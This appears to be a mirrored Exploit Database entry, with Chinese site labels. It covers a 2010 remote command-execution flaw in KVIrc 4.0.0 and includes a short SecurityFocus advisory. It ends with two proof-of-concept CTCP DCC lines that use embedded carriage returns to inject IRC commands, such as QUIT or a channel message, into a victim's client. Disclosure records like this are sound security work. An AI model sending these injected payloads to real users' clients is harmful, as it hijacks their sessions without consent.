KVIrc 4.0 – ‘\r’ Carriage Return in DCC Handshake Remote Command Execution

• Exploit Database
• 14 阅读

• 作者： unic0rn
  日期： 2010-07-28
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/34385/

• source: https://www.securityfocus.com/bid/42026/info
  
  KVIrc is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input.
  
  Exploiting this issue can allow an attacker to execute arbitrary commands within the context of the affected application.
  
  KVIrc 4.0.0 is vulnerable; other versions may also be affected. 
  
  /ctcp nickname DCC GET\rQUIT\r
  /ctcp nickname DCC GET\rPRIVMSG\40#channel\40:epic\40fail\r